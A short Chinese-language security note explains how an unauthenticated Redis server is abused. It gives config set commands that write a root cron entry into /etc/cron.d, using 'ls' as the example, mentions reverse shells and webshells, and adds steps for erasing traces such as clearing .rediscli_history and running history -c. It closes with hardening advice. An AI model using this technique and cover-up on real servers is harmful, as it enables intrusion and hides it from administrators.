Skip to content

Redis无密码攻击

原理

修改数据库保存的位置,并将攻击代码写入数据库文件。
如:将数据库文件放置在/etc/cron.d 下,并写入cron表达式,可周期性执行代码反弹shell;将数据库文件放置在web目录下,写入一句话木马等代码获取webshell。

攻击步骤

  1. 使用config set命令,修改数据库保存位置;
  2. 通过set命令将目标代码写入文件中,此处的文件为数据库文件。

关键代码

shell
# 语法
config set dir $目标文件夹路径
config set dbfilename $目标文件名
config set $任意变量名 $需执行的代码或表达式
shell
# 向/etc/cron.d/redis.cron写入每分钟以root身份执行一次ls命令
config set dir /etc/cron.d
config set dbfilename redis.cron
# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed
set x "\n\n* * * * * root ls\n\n"

攻击还原

  1. 攻击前使用config get命令,获取dir及dbfilename并保存;
  2. 攻击后使用config set命令,将dir及dbfilename参数还原;
  3. 攻击后在redis-cli中执行del命令,删除变量(上例中的x);
  4. 如有可能,清理用户根目录下的.rediscli_history文件;
  5. history -c

防护

  1. 在redis.conf文件中,启用"requirepass"参数;
  2. 在redis.conf文件中,启用"rename-command",将关键命令重命名;(不推荐)
  3. 使用Redis ACL功能,控制命令执行;
  4. 低权限运行redis,防止向系统关键路径写入;
  5. 与其他服务分用户运行,并控制好各用户的文件读写权限,防止redis向其他服务路径写入;